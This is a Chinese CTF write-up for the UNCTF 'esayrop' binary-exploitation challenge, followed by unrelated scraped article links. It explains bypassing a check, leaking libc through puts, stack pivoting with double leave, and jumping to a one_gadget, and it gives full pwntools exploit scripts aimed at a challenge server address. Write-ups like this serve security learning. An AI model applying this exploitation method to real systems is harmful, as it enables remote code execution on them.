unctf esayrop wp
题目基本信息

题目漏洞
首先在main函数中需要绕过一个if判断才能进入漏洞函数

漏洞函数中很明显的栈溢出漏洞,同时还控制了返回地址不能超过文件映射到内存的最大地址

思路
所以我们的思路很明显,因为函数中控制了返回地址,所以断绝了直接返回运行shellcode的可能,所以我们先通过双leave劫持栈,再在栈上布置返回shellcode的地址即可
栈的布置有三种打法,
1、在栈上布置system函数的地址,再双leave后的ret跳到system函数执行,并在栈上的相应位置布置上bin/sh的地址。可是通过多次调试后失败了,虽然程序成功运行了system函数,但是却没有返回shell,这可能是跟环境有关。
2、在栈上布置shellcode的返回地址,并在程序合适的段中写入shellcode,可是这个文件中并没有可写并可执行的段,所以这个打不通。
3、在栈上布置one_gadget地址,通过这个成功打通。
exp脚本
想要知道one_gadget的地址,就必须泄露靶机的libc库
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
sh = remote('101.71.29.5',10041)
elf = ELF('./a')
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
main_addr = 0x08048592
pop_ret = 0x080483b5
pop3_ret = 0x08048659
leave_ret = 0x08048468
sh.recvuntil('\n')
payload = 'a'*0x20 + p32(1717986918)
sh.sendline(payload)
sh.recvuntil('name?\n')
payload = 'a'*0x14 + p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(0x0804853D)
sh.sendline(payload)
addr = sh.recv(4)
a = hex(u32(addr))
obj = LibcSearcher('puts',0xf7613140)
获得libc库后,搜索one_gadget对应libc头部的偏移

这里面one_gadget执行条件涉及到环境问题,一个个试就好,当然也可以自己调,最后给上打通的脚本
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sh = remote('101.71.29.5',10041)
#sh = process('./a')
elf = ELF('./a')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt = 0x080483e0
puts_got = 0x08049ff0
read_plt = 0x080483d8
read_got = 0x08049fec
leave_ret = 0x08048468
pop_ret = 0x080483b5
sh.recvuntil('\n')
payload = 'a'*0x20 + p32(1717986918)
sh.sendline(payload)
sh.recvuntil('name?\n')
payload = 'a'*0x14 + p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(0x0804853D)
sh.sendline(payload)
addr = u32(sh.recv(4))
base = addr - 389440
onegadget_addr = base + 0x3a819
sh.recvuntil('name?\n')
payload = 'a'*0x10 + p32(0x0804A080) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(0x0804A080) + p32(0x1000)
sh.sendline(payload)
sleep(0.1)
payload = p32(0)
payload += p32(onegadget_addr)
sh.send(payload)
sh.interactive()
unctf esayrop wp的更多相关文章
- 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])
常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...
- wp已死,metro是罪魁祸首!
1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...
- 关于 WP 开发中.xaml 与.xaml.cs 的关系
今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...
- Android,ios,WP三大手机系统对比
从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...
- 搜狗输入法wp风格皮肤
换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...
- 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19
上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...
- 【WP开发】读写剪贴板
在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...
- 【WP开发】不同客户端之间传输加密数据
在上一篇文章中,曾说好本次将提供一个客户端之间传输加密数据的例子.前些天就打算写了,只是因一些人类科技无法预知的事情发生,故拖到今天. 本示例没什么技术含量,也没什么亮点,Bug林立,只不过提供给有需 ...
- 【WP开发】加密篇:双向加密
说起双向加密,如果以前在.NET开发中弄过加/解密的朋友都不会陌生,常用的算法有DES.AES等.在RT应用程序中,也提供了加密相关的API,算法自然是一样的,只是API的封装方式不同罢了,因为RT不 ...
随机推荐
- vue组件中的data与methods
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> ...
- Java 之 序列化流
一.序列化概述 Java 提供了一种对象 序列化 的机制.用一个字节序列可以表示一个对象,该字节序列包含该 对象的数据 . 对象的类型 和 对象中存储的属性 等信息.字节序列写出到文件之后,相当于文件 ...
- Hive安装配置详解步骤以及hive使用mysql配置
Hive是一个数据仓库基础工具在Hadoop中用来处理结构化数据.它架构在Hadoop之上,总归为大数据,并使得查询和分析方便.并提供简单的sql查询功能,可以将sql语句转换为MapReduce任务 ...
- git命令——git rm、git mv
git rm git rm命令官方解释 删除的本质 在git中删除一个文件,本质上是从tracked files中移除对这些文件的跟踪.更具体地说,就是将这些文件从staging area移除.然后c ...
- Python_while语句
1.while语句: count = 0 while (count<4): count +=1 print('准备放入第'+str(count)+'个杯子') 注:还是要注意一下,条件之后加“: ...
- 在STM32F746G-DISCO开发板上使用Nabto + FreeRTOS的演示热泵应用
当使用STM32 ARM Cortex-M微控制器时,ST的免费嵌入式软件STM32Cube提供了所有必要的驱动程序和中间件组件,以减少初始的开发工作.在上述提到的中间件组件中,其中一个是非常受欢迎的 ...
- linux网络编程之system v共享内存
接着上次的共享内存继续学习,这次主要是学习system v共享内存的使用,下面继续: 跟消息队列一样,共享内存也是有自己的数据结构的,system v共享内存也是随内核持续的,也就是说当最后一个访问内 ...
- 【HDU-1045,Fire Net-纯暴力简单DFS】
原题链接:点击! 大致题意:白块表示可以放置炮台的位置——每个炮台可以攻击到上下左右的直线上的炮台(也就是说在它的上下左右直线上不可以再放置炮台,避免引起互相攻击),黑块表示隔离墙的位置——不可放 ...
- 解决在macOS下安装了python却没有pip命令的问题【经验总结】
可以使用brew直接安装python,但是安装完成了之后没有pip命令. pip是常用的python包管理工具,类似于java的maven.第一反应brew install pip,却提示没这货. 可 ...
- php遍历目录与文件夹的多种方法详解
遍历目录或遍历目录下指定类型的文件,这是每一个童鞋在写程序的时候难免会用到的.PHP本身也提供了很多灰常有用的函数,正确地使用它们,不会有错滴.下面就我个人学习过程中的一些总结,希望对想学PHP的童鞋 ...